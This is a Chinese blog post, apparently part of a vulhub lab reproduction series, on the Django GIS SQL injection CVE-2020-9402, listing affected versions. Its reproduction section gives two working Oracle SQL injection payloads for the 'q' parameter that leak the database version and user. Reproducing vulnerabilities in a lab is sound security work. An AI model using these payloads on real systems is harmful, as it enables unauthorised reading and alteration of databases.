Django GIS SQL注入漏洞（CVE-2020-9402）

最新推荐文章于 2024-05-17 11:06:19 发布

小白萝卜

最新推荐文章于 2024-05-17 11:06:19 发布

阅读量326

点赞数

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/117281297

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

本文介绍了Django Web框架在多个版本中存在SQL注入漏洞的详细情况，包括受影响的版本列表。攻击者可以利用这个漏洞进行数据查看、添加、修改或删除。示例展示了两种不同的漏洞复现方式，提醒开发者注意对输入参数的验证和过滤，以防止恶意SQL注入攻击。建议升级到不受影响的Django版本以确保系统安全。

摘要由CSDN通过智能技术生成

漏洞背景

Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。

影响版本

Djangoproject Django 1.11 - 1.11.29
Djangoproject Django 2.2 - 2.2.11
Djangoproject Django 3.0 - 3.0.4
Debian Debian_Linux 9.0
Debian Debian_Linux 10.0
Fedoraproject Fedora 32

漏洞复现

漏洞一：
首先访问http://your-ip:8000/vuln/。
在该网页中使用get方法构造q的参数，构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
漏洞二：
访问http://your-ip:8000/vuln2/。
在该网页中使用get方法构造q的参数，构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --